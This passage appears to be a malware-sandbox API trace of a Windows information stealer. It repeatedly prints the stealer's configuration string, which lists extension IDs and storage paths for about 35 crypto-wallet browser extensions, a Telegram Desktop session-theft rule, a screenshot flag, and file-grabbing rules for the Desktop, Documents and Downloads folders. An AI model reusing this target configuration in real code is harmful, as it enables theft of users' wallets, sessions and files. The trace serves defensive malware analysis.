Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.188] lstrlenW (lpString="ews_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3051 [0260.188] lstrlenW (lpString="ews_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3051 [0260.188] LocalAlloc (uFlags=0x40, uBytes=0x17d6) returned 0x6b9720 [0260.188] lstrlenW (lpString="ews_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3051 [0260.188] LocalAlloc (uFlags=0x40, uBytes=0x17d6) returned 0x6baf00 [0260.188] lstrlenW (lpString="ews_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3051 [0260.188] LocalAlloc (uFlags=0x40, uBytes=0x17d6) returned 0x6bc6e0 [0260.188] StrStrW (lpFirst="ews_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.188] lstrlenW (lpString="ews_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3051 [0260.188] LocalAlloc (uFlags=0x40, uBytes=0x1856) returned 0x6bdec0 [0260.188] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.188] LocalFree (hMem=0x6bdec0) returned 0x0 [0260.189] StrStrW (lpFirst="ews_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension 